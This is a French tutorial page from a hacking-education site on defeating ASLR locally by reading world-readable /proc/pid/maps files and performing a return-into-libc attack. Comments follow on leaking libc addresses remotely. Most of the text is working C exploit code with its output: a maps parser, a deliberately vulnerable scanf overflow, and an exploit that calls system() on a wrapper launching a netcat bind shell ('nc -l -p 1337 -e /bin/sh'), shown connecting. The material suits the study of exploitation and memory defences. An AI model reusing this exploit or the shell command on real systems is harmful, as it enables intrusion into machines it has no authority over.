Exploitation avancée


<< ASLR et NX Bruteforcer ASLR >>


II°) Return into libc

Permissions sur les fichiers /proc/*/maps
   Il est vrai que les librairies et autres adresses sont désormais dynamiques. Est-il vrai pour autant qu'on ne peut pas les déterminer avec exactitude ? Pas si sûr cette fois. En effet, par défaut, les fichiers maps de tous les processus sont accessibles en lecture par tous les utilisateurs :
    $ ls /proc/*/maps -l | cut -d " " -f1
    -r--r--r--
    -r--r--r--
    -r--r--r--
    -r--r--r--
    -r--r--r--
    -r--r--r--
    -r--r--r--
    -r--r--r--
    -r--r--r--
    -r--r--r--
    [...]
Il nous reste donc à vérifier que l'offset entre un espace mémoire et le début d'une librairie ou de la pile sont constants. Prenons le programme suivant :
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>

    #define LIBC 0
    #define STACK 1
    #define WRAPPER "WRAPPER"

    long get_base(pid_t pid, int type) {

      FILE * fp;
      char filename[30],line[100],junk[100],mode[5];
      long base;
      int i;

      sprintf(filename,"/proc/%d/maps",pid);
      if ((fp = fopen(filename,"r")) == NULL) {
        printf("Unable to read map file\n");
        exit(1);
      }

      // Parsing map file
      while (fgets(line,sizeof(line),fp))
        if (sscanf(line,"%x-%s %s %s %s %s %s",(unsigned int *)&base, junk, mode, junk, junk, junk, junk, junk) == 7) {
          // junk is the last format argument written
          if (type == LIBC && !strcmp("r-xp",mode)) {
            for (i=0;i<strlen(junk)-3;i++)
              if (junk[i] == 'l' && junk[i+1] == 'i' && junk[i+2] == 'b' && junk[i+3] == 'c') {
                fclose(fp);
                return base;
              }
          } else if (type == STACK && !strcmp(junk,"[stack]")) {
            fclose(fp);
            return base;
          }
        }

      printf("Unable to retrieve segment base from map file\n");
      fclose(fp);
      exit(1);

    }

    int main() {

      unsigned long libc_base, stack_base;
      unsigned long str_offset = 0x13df4f; //offset de "%n" dans la libc

      printf("Retrieving libc base...\n");
      printf("Libc base: %x\n",(unsigned int)(libc_base = get_base(getpid(),LIBC)));
      printf("Retrieving stack base...\n");
      printf("Stack base: %x\n",(unsigned int)(stack_base = get_base(getpid(),STACK)));

      printf("@0x%x: %s\n",(unsigned int)(libc_base + str_offset),(char *)(libc_base + str_offset));

      printf("WRAPPER@0x%x (offset=0x%x)\n", (unsigned int)getenv(WRAPPER), (unsigned int)(getenv(WRAPPER) - stack_base));

      return 0;
    }
Ce programme parse rapidement le fichier maps lui correspondant, retrouve le début de la libc et celui de la pile et affiche la chaîne de caractères associée avec l'offset 0x13df4f dans la libc, ainsi que la variable d'environnement WRAPPER et son offset par rapport au début de la pile. Bien sûr, le choix de l'offset n'est pas innocent, il pointe vers la chaîne de caractère "%n" dans la libc (dans ma version du moins) :
    $ gdb -q /lib/tls/i686/cmov/libc.so.6
    (gdb) x/s 0x13df4f
    0x13df4f: "%n"
Essayons donc de faire tourner ce programme :
    $ export WRAPPER="test" && gcc read_map.c -o read_map && ./read_map && ./read_map
    Retrieving libc base...
    Libc base: b7ddb000
    Retrieving stack base...
    Stack base: bfc0e000
    @0xb7f18f4f: %n
    WRAPPER@0xbfc22ca7 (offset=0x14ca7)
    Retrieving libc base...
    Libc base: b7e2f000
    Retrieving stack base...
    Stack base: bf827000
    @0xb7f6cf4f: %n
    WRAPPER@0xbf83bca7 (offset=0x14ca7)
    $
Avec deux exécutions successives, on voit bien que les adresses de chargement sont modifiées, que l'on est capable de les lire et que les offsets sont respectés. Par conséquent, si nous nous plaçons dans un schéma d'exploitation local, il nous est possible de passer complètement outre ASLR en effectuant une exploitation return into libc classique.

Return into libc
   Comme expliqué brièvement dans la section précédente, l'exploitation return-into-libc est simple. Il suffisait d'y penser comme qui dirait. Nous allons ici nous contenter d'une preuve de concept, dans laquelle le but sera d'exécuter via la fonction system() de la libc le programme /tmp/wrapper, qui fait un appel à seteuid(0) et qui exécute netcat -l -p 1337 -e /bin/sh (ce qui démarrera un shell distant sur le port 1337). Je dis preuve de concept car nous savons bien que system() va dropper les privilèges et donc notre seteuid(0) ne servira à rien. Afin d'effectuer une vraie exploitation, nous aurons besoin de savoir chainer les appels.
Considérons le programme vulnérable suivant :
    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>

    void enregistrer_nom() {

      char buffer_nom[100];

      printf("Votre nom ?\t");
      scanf("%s",buffer_nom);
      buffer_nom[strlen(buffer_nom)] = 0;


      printf("Votre nom, %s, a été enregistré avec succès\n",buffer_nom);
    }

    int main() {

      enregistrer_nom();
      printf("Tout s'est normalement déroulé\n");

      return 0;
    }
Pour exploiter ce buffer overflow apparent, nous allons donc changer de stratégie et retourner dans la libc, plus précisément dans system(). Cette fonction prend en paramètre un pointeur vers une chaîne de caractères qui est le programme à exécuter. Puisque nous connaissons l'adresse de la pile, pourquoi ne pas placer cette chaîne dans l'environnement ? Il nous suffira de déterminer l'offset au préalable et d'insérer stack_base + offset dans la pile, à l'endroit où est censé se trouver l'argument de la fonction. Un petit détail à ne pas oublier : après l'adresse de système, il faut laisser 4 bytes qui ne nous serviront pas mais qui constitueraient l'adresse de retour après l'exécution de system() (en faisant ça proprement et pour éviter le SIGSEGV, on pourrait placer l'adresse de exit()). L'état de la pile va donc devoir ressembler à quelque chose de ce genre :
+++++++++
Buffer
+++++++++
SFP
+++++++++
@system
+++++++++
DUMMY
+++++++++
@wrapper
+++++++++
En premier lieu, il faut donc déterminer l'offset de la variable d'environnement pour le programme d'exploitation (./return-into-libc) et le programme vulnérable (./vuln). Pour ne pas s'embêter avec des calculs bêtes et méchants, on fait rapidement un petit programme qui fork le read_map précédemment utilisé :
    $ export WRAPPER="/tmp/wrapper" && gcc fork_vulx.c -o return-into-libc && cp read_map vulx && ./return-into-libc && rm vulx return-into-libc
    Retrieving libc base...
    Libc base: b7f5b000
    Retrieving stack base...
    Stack base: bfd76000
    @0xb8098f4f: %n
    WRAPPER@0xbfd8aca7 (offset=0x14c9b)
    $
L'offset pour notre variable d'environnement sera donc de 0x14c9b. Prenons maintenant l'offset dans la libc de system() :
    $ objdump -d /lib/tls/i686/cmov/libc.so.6 | grep system\>\:
    00039ac0 <__libc_system>:
    $
On a donc notre dernier offset, 0x39ac0. Le programme d'exploitation va donc d'abord devoir démarrer ./vuln, on place une pipe entre stdin du programme vulnérable et stdout du programme d'exploitation, on récupère les valeurs des segments mémoires qui nous intéressent (la pile et libc) pour le programme vulnérable, puis on insère notre buffer explicité ci-dessus, avec les bonnes valeurs. Le programme d'exploitation suivant devrait donc faire l'affaire :
    int main() {

      char buffer[104 + 3*4 + 2];
      unsigned long libc_base, stack_base;
      unsigned long system_offset = 0x39ac0;
      unsigned long wrapper_env_offset = 0x14c9b;
      pid_t pid;
      int i;
      int fpipe[2];

      pipe(fpipe);

      if ((pid = fork()) == 0) {
        dup2(fpipe[0],0);
        execl("./vuln","vuln",NULL);
        exit(1);
      }

      sleep(1);

      printf("Retrieving libc base...\n");
      printf("Libc base: %x\n",(unsigned int)(libc_base = get_base(pid,LIBC)));
      printf("Retrieving stack base...\n");
      printf("Stack base: %x\n",(unsigned int)(stack_base = get_base(pid,STACK)));
      for (i = 0; i < 104; i++)
        buffer[i] = 'A';

      i >>= 2;

      *((unsigned long *)buffer + i++) = (libc_base + system_offset);
      *((unsigned long *)buffer + i++) = 0xdeadbeef;
      *((unsigned long *)buffer + i++) = (stack_base + wrapper_env_offset);
      buffer[104 + 3*4] = '\n';
      buffer[104 + 3*4 + 1] = 0;

      dup2(fpipe[1],1);
      printf("%s\n",buffer);

      wait(pid);

      return 0;

    }


Bon, essayons maintenant de le démarrer :
    $ gcc return-into-libc.c -o return-into-libc && ./return-into-libc
    Retrieving libc base...
    Libc base: b7d80000
    Retrieving stack base...
    Stack base: bffa1000
    Votre nom ? Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?y??\??, a été enregistré avec succès

Le programme ne finit pas : c'est normal ! On se rappelle que notre wrapper est censé lancer un shell à distance sur le port 1337, allons voir !
    $ nc localhost 1337
    id
    uid=1000(user) gid=1000(user) groups=1000(user)
    exit
    $
Voici donc une exploitation locale réussie, malgré ASLR et en dehors de la pile. Le problème, c'est que tout se repose essentiellement sur la lisibilité du fichier maps. Or, les configurations actuelles réduisent au minimum nécessaire les droits sur les différents fichiers de /proc (et c'est encore pire avec GrSec). De plus, nous n'avons utilisé qu'un appel à system() qui n'est pas suffisant pour obtenir les droits root (mais qui reste suffisant dans le cas d'un exploit distance par exemple). Dans la section suivante, nous allons étudier les possibilités de brute force basique sur ASLR et le chaînage des appels sur la pile.


<< ASLR et NX Bruteforcer ASLR >>




11 Commentaires
Afficher tous


FrizN 05/04/14 05:32
La libc est mappée à partir du début d'une page, donc l'adresse est forcément en 0xXXXX?000. Donc avec un leak de la GOT, il n'y a que le ? qui est inconnu, mais comme on sait en gros replacer les symboles (par exemple, __libc_start_main est environ à 0x21000 du début de la libc) on peut le déduire sans trop de soucis.

Quand on peut leak des grosses parties de la mémoire, on peut aussi simplement bruteforcer page par page en arrière d'une adresse connue, jusqu'à trouver l'header ELF

Anonyme 04/04/14 14:51
Je vois bien la chose, mais du coup comment leaker l'adresse de base de la libc pour avoir l'offset ? je tiens à signaler aussi qu'il y a une faute : "grep system(>):"; tu as mis le chevron opposé.

FrizN 04/04/14 13:45
C'est justement le nerf de la guerre dans une exploitation distante. En général on essaye de leaker une adresse de la libc connue (par exemple __libc_start_main toujours présent et déjà résolu dans la GOT) et on cherche une version qui a le même offset pour cette fonction en particulier.

Sinon quant on reconnait pas la libc on a quand même une idée grossière et ça reste pratiquable de faire un petit bruteforce (cf. writeup annyong sur le blog).

Anonyme 04/04/14 09:07
Merci pour ta réponse. Par contre, cette manière est assez contraignante, les offsets sont différents d'une version à l'autre de la libc. Y a t-il moyen de connaître la version de la libc dans le cas d'une exploitation distante ?




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.